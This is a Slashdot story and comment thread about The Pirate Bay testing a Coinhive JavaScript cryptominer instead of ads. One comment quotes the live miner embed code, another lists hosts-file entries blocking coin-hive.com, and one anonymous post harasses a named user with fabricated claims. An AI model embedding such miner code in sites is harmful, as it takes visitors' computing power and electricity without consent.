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Can The Pirate Bay Replace Ads With A Bitcoin Miner? (betanews.com)

Posted by EditorDavid on from the behind-the-scenes dept.

Mark Wilson writes: When it comes to the Pirate Bay, it's usually movie studios, music producers and software creators that get annoyed with the site — you know, copyright and all that. But in an interesting twist it is now users who find themselves irked by and disappointed in the most famous torrent site in the world.

So what's happened? Out of the blue, the Pirate Bay has added a Javascript-powered Bitcoin miner to the site. Nestling in the code of the site is an embedded cryptocurrency miner from Coinhive. Users who have noticed an increase in resource usage on their computers as a result of this are not happy.
TorrentFreak reports the miner is being tested for about 24 hours -- as a possible way to earn enough revenue to remove advertising from the site.

123 comments

  1. There are ads on the pirate bay? by Anonymous Coward · · Score: 1

    who knew!

    1. Re:There are ads on the pirate bay? by eric_harris_76 · · Score: 1

      Golly!

      News to me. I never go there. Really!

      --
      There's no time like the present. Well, the past used to be.
  2. Really? by DontBeAMoran · · Score: 1

    Is it really worth browser-mining in chunks of a few seconds per user?

    --
    #DeleteFacebook
    1. Re:Really? by Anonymous Coward · · Score: 1

      Depends. Before hearing about this it wasn't uncommon for me to leave a pirate bay window open in a tab for quite a while, and I'm sure I'm not the only one.

      I actually netted them at least 3-4 hours of mining yesterday before I heard about this. The only reason I even noticed something was up was because I came upstairs and heard my system fans running at max.

    2. Re:Really? by wonkey_monkey · · Score: 1

      That depends how many users there are. And it's free anyway (well, up to the point of bad publicity), so why not?

      --
      systemd is Roko's Basilisk.
    3. Re:Really? by gurps_npc · · Score: 1, Flamebait

      You need to learn a basic skill: Comparison.

      It's not "Are AIs capable of driving cars?" It's "Are AIs better than humans at driving cars."

      It's not "Is the Death Penalty a deterrent?" It's "Is the Death Penalty a better deterrent than life in prison?"

      It's not "Is this really worth it?" But instead "Is this more profitable than advertisements?"

      And web ads are notoriously low value. So yes, this looks to be worth while.

      --
      excitingthingstodo.blogspot.com
    4. Re: Really? by Anonymous Coward · · Score: 2, Informative

      Yea, they likely get a significant amount traffic per day considering they serve the entire planet essentially.

      Assume each user spends 5 min on the site looking through the list of torrents that best match their search.

      That compute power can really add up especially if your using it to replace revenue you would get from ads.

      Honestly I don't see any issue with it as long as it's disclosed. In fact I wouldn't have a problem with most websites using it provided it was opt in. Then I could turn my adblock back on for some sites I like while still contributing to their revenue.

      It would also be pretty cool if sites like Netflix added something like this and offered profit sharing on it for the user. 50/50 split on profit and you can turn it off and on easily from any page on the site. Same for YouTube. We mostly watch YouTube and Netflix, I wouldn't mind making some money off that while they use some of my PC's resources. The trick would be limiting how much power it uses so the user never loses money and also so it never causes your PC to increase any fan curves more than say 10%.

      Sure I could mine myself but I honestly don't care enough about it. Having someone else set it all up and do the work for me then all I do is use my PC like normal...sounds fine by me.

    5. Re: Really? by Anonymous Coward · · Score: 1

      Unless you have free electricity, you won't turn a profit.

    6. Re:Really? by hackwrench · · Score: 2

      Nothing derers a person from doing what they really want to do. Some people just have a death wish.

    7. Re:Really? by ShanghaiBill · · Score: 5, Interesting

      Software miners are 10 to 100 times less efficient that ASIC miners. Since this is in JS, and no browsers currently run WebCL by default, this is likely at the high end of that range. So for every $1 that TPB collects, they may be wasting $100 of electricity that their users are paying for.

      This is unethical and environmentally irresponsible. Alas, even pirates can no longer be trusted.

    8. Re: Really? by Anonymous Coward · · Score: 0

      Efficiency matters a whole lot less when you make it up at massive scale and you aren't paying for the hardware or energy. And let's face it - The Pirate Bay isn't likely to be the most ethical organization around when it comes to appropriating other people's resources for their benefit...

    9. Re:Really? by DuroSoft · · Score: 1

      RTFA. They use Monero, which is specifically optimized to be difficult for anything but a consumer CPU. That said, GPUs mining monero are supposed to get around a 2x performance boost over a consumer CPU, but that's it, not 9999x as is usually the case. If I remember correctly, CoinHive estimates that a modern browser will run their mining code at roughly 70% the efficiency of a native/desktop implementation.

    10. Re: Really? by Anonymous Coward · · Score: 0

      Fool me once, shame on...
      Shame on you!
      Fool me you uh???
      Can't get fooled again!

      Cuz death penalty.

    11. Re:Really? by Anonymous Coward · · Score: 1

      This is unethical and environmentally irresponsible. Alas, even pirates can no longer be trusted.

      I am actually going to disagree with this. Hear me out. They are looking to replace ads on their site with this code. We already have ad networks that allow javascript to be included with ads and processed client side in the browser. If my computer is already doing this processing, why not pick the one that doesn't need to display an ad? As long as the client side processing is equivalent between a javascript ad and a javascript miner (big if there, I figure it is not and the miner is much heavier at present) and the server side content provider gets the same average return, then what is the practical difference other than ADS ARE NO LONGER NECESSARY TO FUND A WEBSITE?

    12. Re:Really? by holophrastic · · Score: 4, Interesting

      This is what I was going to say. I'm happy if the web is free, and my computer works to pay for it. I don't need to work, and I don't need to look at ads and be convinced to buy products. Instead my computer just works for the site owners for a few minutes.

      This is the direct equivalent of not being able to pay a restaurant check, and "washing dishes" instead.

      It's the perfect future. Offer a service for free, and get paid by your "customers'" computers instead. What a perfectly-direct and causal relationship between popularity and profit. Imagine if twitter got a penny-worth of profit from each user-minute.

    13. Re: Really? by corychristison · · Score: 1

      I agree.

      Especially when so much malware is served up with the ads.

      This is a step in the right direction.

    14. Re:Really? by amxcoder · · Score: 1

      I don't have a problem with this either so long as it's disclosed in clear, and visible notice on the web pages, and the miner is really just mining and not doing anything else nefarious.

      For the same reason the OP mentioned, ads can run all kinds of scripts and crap that is almost guaranteed not be be in my best interest. And it's not vetted (malicious ads being served by ad servers). I'd rather have some code running that is safer to run and isn't annoying or dangerous like ads can be.

      My argument for this is that TPB is paying for servers and electricity and all the server resources to provide their service. If I have to "pay" with a bit of my processing power and electricity, to keep the lights on (which is for the users benefit), then I consider that a somewhat fair trade-off, and no more nefarious or sleazy than pushing a bunch of ads that are doing all kinds of nasty things, least of which is tracking all my browsing habits.

      Again, the sleaze factor is minimal only IF they are open and honest about it, and tell users when this is happening (or what pages have this code embedded). It would be even less sleazy if they had somekind of timeout on the page, so the miner is only running for max length of time and then stops, for times when you might leave a page up for an extended period of time. The timer could be reset if I visit a different page, or refresh, but just to eliminate the possibility of leaving a page up and walking away and coming back to a toasted laptop that shutdown due to thermal overload from running the miner continuously for too long. I doubt this restriction would be put in place, but that is why I would say warnings should be the minimal amount of warning.

      Without a warning, or timeout, then perhaps it's a little bit sleazy, but only because a user wouldn't know that thier PC is drawing max power and running at 100% CPU usage, taking away from other applications that might be running as well. Being upfront can go a long way in this type of situation.

    15. Re:Really? by no1nose · · Score: 1

      If pirates can't be trusted, just who can we trust?

    16. Re: Really? by hackwrench · · Score: 1

      Not really a penalty. Just gets people where they want to go in the next dimension.

    17. Re: Really? by tlhIngan · · Score: 1

      Especially when so much malware is served up with the ads.

      So instead of running malware ad javascript, you'll run javascript?

      What if the script you're running is a spam script? In exchange for using TPB, you're sending spam out? You think you're mining coins, but you're sending out hundreds of emails.

      What if your script is a webserver and serving up fraud/phishing pages?

      Heck, why not host TPB while you're at it? That way it can never go down as long as people are browsing the site, because it's creating a bunch of mirror servers.

      At which point does it end?

      And do you own shares in Intel or something? Since when should people need a top-tier machine just to browse the web? What, system requirements are coming to websites? "To browse this website, to pay for it we require you to have a Core i7-8700 at 3.5GHz with 32GB of RAM. If you have less, go away as your computer is too slow"

    18. Re:Really? by fisted · · Score: 2

      and my computer works to pay for it.

      And then you work for the money to pay your electrical bill with.

      That, and a working computer is a hot and noisy computer. Fuck that.

      --
      CLI paste? paste.pr0.tips!
    19. Re:Really? by drinkypoo · · Score: 1

      Consumer GPUs are also not as energy efficient as CPUs, so the difference is probably better than 50%

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    20. Re:Really? by skovnymfe · · Score: 1

      Pirates are okay, it's the middlemen you can't trust.

    21. Re:Really? by holophrastic · · Score: 3, Interesting

      In theory, sure. But in practice, I can buy a better computer, I can buy a quieter computer, I can keep it in the next room. And yeah, I can pay for everything via my electrical bill. Ok. Instead paying for things with money, I can pay with electricity -- sounds like the future to me.

    22. Re: Really? by boutell · · Score: 2

      JavaScript doesn't work that way. JavaScript runs in a very restricted security environment. It can do math, it can interact with the user, it can communicate with the website it came from. It can't spam the world without sending it all through the server it came from, which would defeat the purpose.

      --
      Check out the Apostrophe open-source CMS: http://www.apostrophenow.com/
    23. Re: Really? by Anonymous Coward · · Score: 0

      You're paying money to TPB?

    24. Re:Really? by fisted · · Score: 1

      I can buy a better computer

      Yes -- but what kind of shitty argument is that?

      I can buy a quieter computer

      In this context, not really. Your better, faster computer will just mine better and faster, maxing out your shiny new CPU and again bringing the system to either high temperature, or high noise, or throttling.

      I can pay with electricity

      You pay with eletricity that you buy with money that you spend by burning eletricity. Hm.

      --
      CLI paste? paste.pr0.tips!
    25. Re:Really? by painandgreed · · Score: 1

      and my computer works to pay for it.

      And then you work for the money to pay your electrical bill with.

      That, and a working computer is a hot and noisy computer. Fuck that.

      Ya, but I know my electricity bill is currently pretty trivial even with my computer on all day every day. If that is the solution for contributing to the internet and web and not having to make any sort of micropayment system work, it works for me.

    26. Re:Really? by fisted · · Score: 1

      Ya, but I know my electricity bill is currently pretty trivial even with my computer on all day every day.

      That's likely because you have a reasonably modern CPU and it's sitting idle 99% of the time. Max it out for a month, wait for your electricity bill and shit bricks.

      --
      CLI paste? paste.pr0.tips!
    27. Re:Really? by Anonymous Coward · · Score: 0

      Yup, fans were going, only the browser running, starting closing tabs and Pirate Bay got the boot, don't leave it open any longer.

  3. Monero, not Bitcoin by Troed · · Score: 5, Informative

    You could expect tech news site to know the difference between different crypto coins. No matter if you try to mine Bitcoin on millions of computers you will not get any, only dedicated data centers with thousands of ASICs can reach the hashing power needed.

    Monero, like some other altcoins, can be mined on CPUs and/or GPUs.

    --
    it's in my head
    1. Re:Monero, not Bitcoin by DontBeAMoran · · Score: 1

      https://www.coingecko.com/en/p...

      --
      #DeleteFacebook
    2. Re:Monero, not Bitcoin by DNS-and-BIND · · Score: 0

      Journalists, with their usual fact-checking rigor, use "bitcoin" as a word for any digital currency. Even when capitalizing it as a proper noun. If they get things like this wrong, just imagine what they get wrong when they write about the government.

      --
      Shutting down free speech with violence isn't fighting fascism. It IS fascism!
    3. Re:Monero, not Bitcoin by Anonymous Coward · · Score: 0

      Journalists, with their usual fact-checking rigor, use "bitcoin" as a word for any digital currency. Even when capitalizing it as a proper noun. If they get things like this wrong, just imagine what they get wrong when they write about the government.

      Ah, just like yourself, DNS-and-Bind? I mean really, you can't even identify what state Springfield is in.

    4. Re: Monero, not Bitcoin by MachineShedFred · · Score: 1

      1. Wtf?
      2. There are at least 25 states with a "Springfield" in them, some states having more than one if you include townships and villages. So what are you on about?
      3. Oh look, another long-time Slashdot poster has acquired a troll fan. I'm sure you'll get him / her to cry any minute now.

      --
      Slashdot still doesnâ(TM)t support Unicode after it was added to the HTML standard in 1997.
    5. Re:Monero, not Bitcoin by jon3k · · Score: 1

      only dedicated data centers with thousands of ASICs

      Depends on what you're mining. Ethereum for example is designed specifically to be ASIC resistant. That's what it's still mined on GPUs.

    6. Re: Monero, not Bitcoin by that+this+is+not+und · · Score: 1

      You're just jealous because you couldn't come up with a O'Reilly book title to use as your account name.

    7. Re:Monero, not Bitcoin by Anonymous Coward · · Score: 0

      It feels like it was only two years ago or so that people were stocking up on GPUs to mine bitcoins and selling strawberries that had been dried using the heat of their computer. About a year later, "oh that's not powerful enough. now you have to have this specially designed ASIC computer to do your mining." Now you're telling me people can't even mine bitcoins in their houses anymore, but they have to build or buy a datacenter?

      In another two years "oh, only the vacuum of space can cool the Zafflebrox computers needed to mine bitcoins. good luck with your i7."

    8. Re:Monero, not Bitcoin by Troed · · Score: 1

      That's why I specifically mentioned "Bitcoin". Ethereum isn't Bitcoin.

      --
      it's in my head
    9. Re: Monero, not Bitcoin by Anonymous Coward · · Score: 0

      2. There are at least 25 states with a "Springfield" in them, some states having more than one if you include townships and villages. So what are you on about?

      Yes but like with the multiple Hollywoods in the country only one particularly matters.

    10. Re:Monero, not Bitcoin by KingBenny · · Score: 1

      woaw, need only scroll down two pages to get to the first serious post today .. it seems they're multiplying ... yes, monero, and from what i read on the comments on torrentfreak the script is not present on every page and the main admin doesn't like it himself since he has spoken out against it
      is what i read on torrentfreak ... personally i think if they make it opt-in no one could have a problem with it : do you want the service AND (a bit of fan-wear OR ads) but not slap it on their baseline crowd like that without asking

      --
      Free speech was meant to be free for all... how can anyone grow up in a nanny state ?
    11. Re:Monero, not Bitcoin by david_thornley · · Score: 1

      In another two years "oh, only the vacuum of space can cool the Zafflebrox computers needed to mine bitcoins. good luck with your i7."

      Nope. Vacuum is a very effective insulator. You want something better at carrying away heat, like vast computer complexes spread out on the ocean floor.

      --
      "When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
  4. Hypocrisy at its best by Anonymous Coward · · Score: 0

    "Hey, you're taking something without my permission."

    The quote would apply to PB users and movie studios.

    to PB's credit they are being somewhat innovative to generate revenue.

    God, PB users are a bunch of entitled babies. Get a job you fucking losers.

    1. Re: Hypocrisy at its best by Anonymous Coward · · Score: 0

      I'll pirate even if I have 10 jobs MON!!!!

      1 JOB? When I was your age I had 6 jobs MON!!!

    2. Re: Hypocrisy at its best by hackwrench · · Score: 1

      Join The Pirate-Ninja-Zombie Party on Facebook and Steam! https://www.facebook.com/group...

    3. Re: Hypocrisy at its best by tacarat · · Score: 1

      I'm disappointed at how far I had to scroll for the irony/hypocrisy to be pointed out. At least it was mostly cost effectiveness discussions and not omghaxxor posts.

      --
      "Common sense will be the death of us all"
    4. Re:Hypocrisy at its best by tepples · · Score: 1

      How much of a job would I have to have in order to buy a lawfully made copy of the film Song of the South in a mainstream video format in the United States?

  5. Great idea by cerberusss · · Score: 5, Interesting

    So please note I'm not trolling in any way or shape. But in this particular case, on this particular site, I think it's a great idea.

    The Pirate Bay has been sailing strong for all these years, so the money has got to come from somewhere. Any source of donations will be quickly cut off by the establishment, and people donating will have to fear for their anonymity. Ads will probably not be very effective, since the average visitor will probably have an ad blocker.

    --
    8 of 13 people found this answer helpful. Did you?
    1. Re:Great idea by Anonymous Coward · · Score: 0

      And those power-wasting scripts will end up just as disabled as any advertisements. Possibly even more likely, since the people attempting to exploit client CPU power are probably not doing as much to finance browser development as the advertisers are.

    2. Re: Great idea by bistromath007 · · Score: 1

      I don't think you're trolling. I agree 100%. I use TPB myself and I think this a great way to avoid all the shit opponents of piracy will try to clamp down on income streams. I also use a seedbox though, and haven't actually downloaded anything lately. Maybe I'll feel different if I get around to finding out what this would do to my system's performance.

    3. Re:Great idea by TFlan91 · · Score: 1

      Wholeheartedly agree.

      But I don't think it will really do much for them. I spend as little time as possible on torrent sites via VPN's. I also browse with various JS blocking extensions. From the looks of it, I am not helping their mining while browsing (it's to their website open now).

      I can't see too much revenue being generated by this... Or on the flip-side, this replaces their ads all together and other websites follow suit.

    4. Re:Great idea by johannesg · · Score: 1

      The pirate bay should decentralize, and get a torrent-like system for distributing torrents. But that doesn't fit in their _business model_, does it?

      If information truly wants to be free, a decentralized torrent system would be perfect. On the other hand, if it is all about personal profit, then sticking to a website is the better option...

    5. Re:Great idea by Z00L00K · · Score: 1

      The authorities will see this as a reason to ban bitcoin being changed to cash - except for some odd currencies that are useless.

      --
      If builders built buildings the way programmers wrote programs, then the first woodpecker would destroy civilization.
    6. Re:Great idea by hackwrench · · Score: 1

      Information wants to be available at any price. In addition to getting it for free, both you and I are willing to pay for it. That's one reason Copyright is so horrible.

    7. Re:Great idea by gravewax · · Score: 1

      It is a fucking awful Idea, it explains why the site has become unusable in my lowend virtual machine. basically like wrestling in treacle without the fun. I thought the site was simply under attack again so have been using alternative sources.

    8. Re:Great idea by Hognoxious · · Score: 1

      The pirate bay should decentralize, and get a torrent-like system for distributing torrents.

      I think Xzibit could design that.

      --
      Confucius say, "Find worm in apple - bad. Find half a worm - worse."
    9. Re:Great idea by cerberusss · · Score: 1

      Information wants to be available at any price

      No, information wants to be tied up and spanked.

      --
      8 of 13 people found this answer helpful. Did you?
  6. Can they? by Anonymous Coward · · Score: 0

    Yes, they can.

    The proof? They did it.

    The more interesting question is should they.

  7. They can try by Anonymous Coward · · Score: 0

    Does anyone who frequents such sites leave ads or scripting enabled?

    1. Re:They can try by cfalcon · · Score: 1

      It is becoming very common for these sites and many others to not actually have the data served without javascript running. While you can usually create a custom set of javascript rules in your chosen flavor of -monkey, obviously the majority of even technically capable users don't do this.

      We're very definitely into the realm of using a throwaway VM that you restore from snapshot for any site that you don't trust totally. Almost every machine sold for the last few years can run VirtualBox just fine, and it's less effort that debugging every piece of javascript that malicious coders have been happily making mandatory via every lever and gear available to them.

    2. Re:They can try by hackwrench · · Score: 1

      I do, though I wish they'd keep the ads on the same webpage as the content like most other websites I frequent.

    3. Re:They can try by infolation · · Score: 1

      hosts:

      127.0.0.1 coin-hive.com
      127.0.0.1 www.coin-hive.com

  8. Actually... by CharlesAKAChuck · · Score: 5, Interesting

    This is not a terrible idea, as long as there's some control being exercised (which I'm sure there won't be...) The controls should be: The miner is only active when I'm on the site, it's not installed on my computer, and it's limited to, say, 50% of the available spare CPU cycles. I don't think I'd mind fewer ads (which I don't see anyway) in return for giving the site some of my spare CPU cycles to try to make a few cents.

    1. Re: Actually... by Anonymous Coward · · Score: 1

      Its not "spare cou cycles" ya dum dum, you pay on your electric bill.

    2. Re: Actually... by bistromath007 · · Score: 1

      MY FORTY CENTS!!!!!

    3. Re: Actually... by Anonymous Coward · · Score: 1

      In winter, it is just a different way to pay for home heating.

    4. Re:Actually... by Anonymous Coward · · Score: 1

      The limits they wrote about on their blog (https://thepiratebay.org/blog) seems fair.

      20-30% cpu, no software installed and only in 1 tab max.

    5. Re: Actually... by Anonymous Coward · · Score: 0

      Exactly. When I'm gaming I can easily raise the temp of my living room by 6 degrees in the summer so in the winter I'll probably get at least 1 degree but that degree could balance out because electricity is cheaper than natural gas in the winter.

      When i lived with my parents I bought one of the 1st or maybe 2nd generations of sli cards. I bought 2 and they were $700 each. My bedroom was in the basement and it got damn cold but I didn't need to use the heat in my room because my PC kept it warm enough lol.

      Of course it was loud as shit even with liquid cooling. The good old days when there were no nice nearly silent Noctua fans...they all sounded like little airplanes and I had no way of controlling their rpm. It also had the brightest blue LED right on the front which pissed me off at night... between the fans and that led... thank God for modern computers. I have a PC with more fans that runs cooled while still using a similar total wattage but it's silent... always. Even when my GTX 1080 starts hitting high thermal levels it's not obnoxious.

    6. Re: Actually... by Anonymous Coward · · Score: 0

      True, but before often some stupid flash plugin just wasted them. Now at least someone gets a profit out of it. And even before that, when CPU throttling didn't exist, I think it really didn't make a difference if you did NOPs or something useful.

    7. Re:Actually... by Zagnar · · Score: 1

      It looks like the script only runs on search results pages, not the main TPB page, and so far it only uses 10-20% CPU. I remember when flash ads used to take up %50 of my CPU.

    8. Re:Actually... by Anonymous Coward · · Score: 0

      Samt thing for me... not so bad.

    9. Re: Actually... by pgn674 · · Score: 1

      I just checked it out. It's JavaScript that runs in whatever browser tabs you have have open on The Pirate Bay's website. It can be seen in Chrome's developer tools and task manager. Navigate elsewhere or close the tab, and the JavaScript stops running immediately. Have two tabs open on the site, and you get two scripts running. On Chrome at least, each script tries to use up 100% of a single CPU (virtual) core. So, I have a quad core processor with hyper threading, meaning the website was using 13% of my CPU constantly. And the niceness level is equal to whatever my user space browser runs at.

    10. Re:Actually... by Anonymous Coward · · Score: 0

      I daily use 6 main tools for examining Oscar nominations and though tpb is the first, it is only to search their Top list for the word "day" using match case. I used to open those results pages and link to the rating DB and then only delve deeper on 7/10 and above and correlate with 1337x, but I rarely get my file using tpb, because rmz and /ol/ avoid the use of torrents. This mining fiasco causes me now to not go to their results page but scrape and drag the title from the Top list into a search and get the rating from there instead.

    11. Re: Actually... by GameboyRMH · · Score: 1

      There was actually such a thing as spare CPU cycles in the Pentium 3 and earlier days, but not any more thanks to improvements in power management.

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
    12. Re:Actually... by infolation · · Score: 1
      I tried connecting from a few locations (Sweden, Florida, Hong Kong etc), and I am seeing what looks like 10% usage on the main page (0.9 should be 10%):

      <script src="https://coin-hive.com/lib/coinhive.min.js"></script>
      <script>
      var miner = new CoinHive.Anonymous('xP9YtM7sFtCRhh1H2SJGWl60Z0BgbpHy', { throttle: 0.9 });
      miner.start();
      </script>

      documentation says

      .setThrottle(throttle) Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.8 they will stay idle 80% of the time.

      But CPU for firefox is about 80% and iceweasel 90%.

    13. Re:Actually... by Anonymous Coward · · Score: 0

      I daily use 6 main tools for examining Oscar nominations

      Why would you do that? Why would anyone do that?

    14. Re: Actually... by Ken_g6 · · Score: 1

      I think control is going to have to be exercised at the browser design level. The browser will have to limit CPU usage for each tab, and limit it more or stop all scripts completely when the tab is out of focus.

      It would be nice if we could get sites to not run miners when you're running on batteries, but that may be hard to enforce. It also brings back the problem of mobile devices being harder to monetize.

      --
      (T>t && O(n)--) == sqrt(666)
  9. This.... actually makes sense. by Anonymous Coward · · Score: 0

    Ads themselves eat up your browser's memory and resources as is, and are usually annoying AF.

    This doesn't sound annoying at all.

    As long as a site makes it clear that this is happening in the background of the site as well as an estimate on the resources this may use up, I would likely not mind it at all.

    1. Re:This.... actually makes sense. by Z00L00K · · Score: 1

      Degrees in hell, but bitcoin mining won't give you epilepsy seizures at least.

      --
      If builders built buildings the way programmers wrote programs, then the first woodpecker would destroy civilization.
  10. Love it by jwymanm · · Score: 4, Interesting

    Best way to stay out of control of others is to not rely on them. This uses distributed means direct from the user to generate a revenue source without having to cater to 3rd parties under gov control. Can't get better than this. I'm sure Google and others who rely on ad revenue will try to ban it as soon as possible though or push out an update under the guise of helping to limit peoples computer usage on websites. That latter part already has happened once and screwed up a lot of apps.

  11. OK with me by nospam007 · · Score: 3, Insightful

    _Anything_ is better than ads.

    this doesn't hurt the eyes, the ears nor the brain and modern processors have lots of power to share.

    1. Re:OK with me by Anonymous Coward · · Score: 0

      A-men

      Just let the advertisers find a gutter to slink into, this could be the first viable micro-payments mechanism, as long as load can be managed by the client to prevent abuse I wouldn't mind if it was rolled out to all sites I visit as long as the ads go away.

    2. Re:OK with me by Anonymous Coward · · Score: 0

      not if it runs windows.... lets recompile dotnet.. boom 50% of processor GONE. lets check for updates at the same fucking time. BOOM goes the other 50%.

  12. How about ads that matter? by future+assassin · · Score: 1

    First I don't mind static ads like in the late 90's but even the can you at least instead of porn/dating ads gimme something relevant?

    --
    by TheSpoom (715771) Uncaring Linux user here. I have nothing to add to this but please continue. *munches popcorn*
    1. Re: How about ads that matter? by Anonymous Coward · · Score: 0

      Ads for nerds? Ads that matter?

      New site headline.

  13. "Earn enough money" by willoughby · · Score: 5, Insightful

    Like they, or any website, are going to say, "Hey, this is enough money per month. Let's just stop here". Yeah, right.

    1. Re: "Earn enough money" by Anonymous Coward · · Score: 0

      It's always on the basis of "what if I don't earn the same next month/year?"

      Always good to have a surplus.

      I'm not referring to the obnoxious sites who bombard you with popups/unders/videos with each click though.

    2. Re:"Earn enough money" by Kjella · · Score: 1

      Like they, or any website, are going to say, "Hey, this is enough money per month. Let's just stop here". Yeah, right.

      Are you trying to be dense? As opposed to not making enough money and shutting down, this is a perfectly cromulent use of English.

      --
      Live today, because you never know what tomorrow brings
    3. Re:"Earn enough money" by GameboyRMH · · Score: 1

      Only a publicly traded company is completely incapable of understanding the concept of "enough." Other types of organizations could.

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
  14. Can confirm; users should be given a choice by arielCo · · Score: 2

    Last night my PC's fans maxed out, and it was easy to pin the CPU usage on a couple of TPB tabs.

    I have an exception for TPB.org on UBlock, and I'd much rather load ads (just no pop-ups, please) than fill my room with heat and noise.

    --
    This post contains no rudeness or derision of any kind. All arguments are friendly. Terms and exclusions may apply.
  15. The alternative... by cdreimer · · Score: 1

    Run Amazon native ads. As some websites have encountered (including Slashdot), the new ads can suck ass and delay the page loading by four seconds.

    1. Re: The alternative... by Anonymous Coward · · Score: 0

      Speaking from experience I see. Your site is littered with them.

    2. Re: The alternative... by cdreimer · · Score: 1

      Speaking from experience I see. Your site is littered with them.

      I don't have Amazon native ads on my websites. I do have Amazon One Link enabled so that a British or Canadian reader who clicks on a US link will be taken to their country Amazon store. Slashdot has this feature enabled.

    3. Re:The alternative... by Anonymous Coward · · Score: 0

      Information about Christopher Dale Reimer and autistic people:

      Autistic people have obsessions about things normal people don't care. For example, one of our autistic patient went haywire when he realized that there was a penny missing in his pocket change.

      To calm him down, one of our educator pretended to have found it on the floor and gave a penny to him.

      The autistic patient condition went even worse because he realized it wasn't the same penny!

      Chris has an obsession with budgeting every penny. He doesn't understand that most people do not budget to the penny and have a flexible amount they allow for miscellaneous items.

      I am Nancy Guerrero and I am Director of Special Education for the Santa Clara County Office of Education. We use Chris' (a.k.a. creimer,cdreimer) picture in our document because he is the hardest case we have ever had to handle:
      http://www.sccoe.org/depts/stu...

      Our artists were inspired by the low carb diet that Christopher follows scrupulously for the small lunch box and by the picture linked below for the rest. I am sure that you will notice the similarities such as the bump on the side of his chest and more:
      https://www.cdreimer.com/slash...

      Please be easy on Christopher although, I am aware that some of our staff handling Chris post joke comments here and obvoiusly, the Santa Clara County Office of Education disapprove that behavior vehemently:
      https://school.discoveryeducat...

      But it isn't Chris' fault if he is the way he is. We do the best we can do with him and he is partially integrated into society. We try to cure his abnormal need for attention but he is kind of stubborn and won't listen to anybody.

      Thank You dear users,
      -Nancy Guerrero

    4. Re: The alternative... by Anonymous Coward · · Score: 0

      Hello dear sir,

      I just found this video where there seems to be five of you, do you have any brothers who look like you?

      https://www.youtube.com/watch?...

      Maybe you could link it on your site, Contrarily to amazon spam, youtube is really fast and doesn't take 5 seconds to load!

  16. this wouldn't work by slashmydots · · Score: 1

    First, the browser would slow down to a crawl and the site would be barely navigable. Second, every time you click a link it would reload the javascript libraries and re-start the miner. Third, any major browser would ask you to shut down the script because of performance issues. Fourth, 1,000 people mining on their CPUs for about 5 minutes while they're at their site would make like a dollar. A 2nd gen i7 at full blast makes less than $0.25 PER DAY cpu mining.

  17. Control is needed by markdavis · · Score: 3, Interesting

    This is just the start. Web sites are already ruining older and slower computers with unnecessary animation, auto-scrolling, video, huge photo resizing locally, etc, etc. They totally zap precious battery life on mobile devices. They decimate any type of multiuser machines. They gobble data needlessly for those on metered or limited connections.

    I am not opposed to mining in the browser as a concept, but I am opposed to it being done without the user having some reasonable control over resources. This is a bad trend that could evolve into something much worse.

    Browsers need to give users more control over CPU usage, more control to place limits, to identify tight loops and auto-throttle, etc.

  18. This is good. by Anonymous Coward · · Score: 0

    This will educate people about the shitty dangers of advertising and increase the adoption rate of javascript blockers, adblocker and the like.

  19. Requires javascript to be enabled by E-Rock · · Score: 1

    Does anyone go to pirate bay with JS enabled?

    1. Re:Requires javascript to be enabled by Curupira · · Score: 1

      Does anyone go to pirate bay with JS enabled?

      I did, but not anymore. Thank you, Pirate Bay, for convincing me of the importance of NOT enabling javascript indiscriminately!

    2. Re:Requires javascript to be enabled by Anonymous Coward · · Score: 0

      Does anyone go to pirate bay with JS enabled?

      I would have thought practically everyone would be using Tor Browser (or Orfox) and would be using default settings (JS is enabled by default). Are you doing something exotic that might cause you to be more easily identified across the web?

  20. Could content holders do the same thing by thereitis · · Score: 2
    Could content holders use bitcoin mining to provide their own content directly at no direct monetary cost in exchange for bitcoin compute power?

    Example: Watch the latest Star Wars for as long as you are mining bitcoins for them.

    For that matter, could YouTube get rid of its advertising in exchange for bitcoin mining power?

    1. Re: Could content holders do the same thing by Anonymous Coward · · Score: 0

      Bitcoin no, other cryptocurrencies, maybe.

    2. Re:Could content holders do the same thing by Z00L00K · · Score: 1

      Until there's no more bitcoins to mine.

      --
      If builders built buildings the way programmers wrote programs, then the first woodpecker would destroy civilization.
    3. Re:Could content holders do the same thing by kristofer.vesi · · Score: 1

      Youtube Red exists. BitTube you would be paying them probably more by electricity and using more of your cpu/gpu or such. What do you like more Ads (still pay them with you), 10$/mo 15$/mo electricity bills?

    4. Re:Could content holders do the same thing by Anonymous Coward · · Score: 0

      You will be dead so it won't matter. Unless you have a secret plan for living until the year 2150 when bitcoins have all been distributed.

  21. Re: FUCKING AYYYY! by Anonymous Coward · · Score: 0

    LOL made me laugh.

    Whattya lookin at mi gutfer.

  22. Great irony. by Anonymous Coward · · Score: 0

    Somehow I don't think this forum understands just how ironic your position (as well as Piratebays) is.

    1. Re:Great irony. by nukenerd · · Score: 1

      Somehow I don't think this forum understands just how ironic your position (as well as Piratebays) is.

      No I don't.

  23. Addicted to "free". by Anonymous Coward · · Score: 0

    I've suggested the same back on Arstechnica but apparently even that little bit is seen as too much of a burden, with complaints of using their resources (HAH!)

  24. I think that's a fair trade! by nichogenius · · Score: 2

    You can't expect the internet to be full of good content unless people get paid somehow... frankly, the advertising has gotten out of control to the point that I feel no guilt using an adblocker on every site. However, I'm perfectly happy to contribute spare CPU cycles within reason. However, this is a very slippery slope. I typically have 10+ tabs open at any given time. I can easily see this getting abused. In my tests TPB was using about 15% CPU on each of my 16 threads (Ryzen 1800X), so all together it was using just over an entire core, or two threads, but distributed over all threads makes it unnoticeable to anyone with a decent CPU.

    1. Re:I think that's a fair trade! by Anonymous Coward · · Score: 0

      piratebay rakes in a fortune from dodgy advertising. This is no more than a dirty money grab as they were already getting well paid.

  25. OK but put in a disclaimer by Provocateur · · Score: 1

    That you are not North Korea's Kim Jong Un.

    --
    WARNING: Smartphones have side effects--most of them undocumented.
  26. Irony overload... by Anonymous Coward · · Score: 0

    ... so I'm just trying to get stuff I've not paid for and someone if making use of _my_ resources!

  27. When is /. going to do this? by Anonymous Coward · · Score: 0

    Or Amazon, Google, or even deep in some Windows 10 surprise update?

  28. Tax people who don't run proper cpu monitoring by Anonymous Coward · · Score: 0

    Well i dunno is this gonna be widespread if it succeeds?

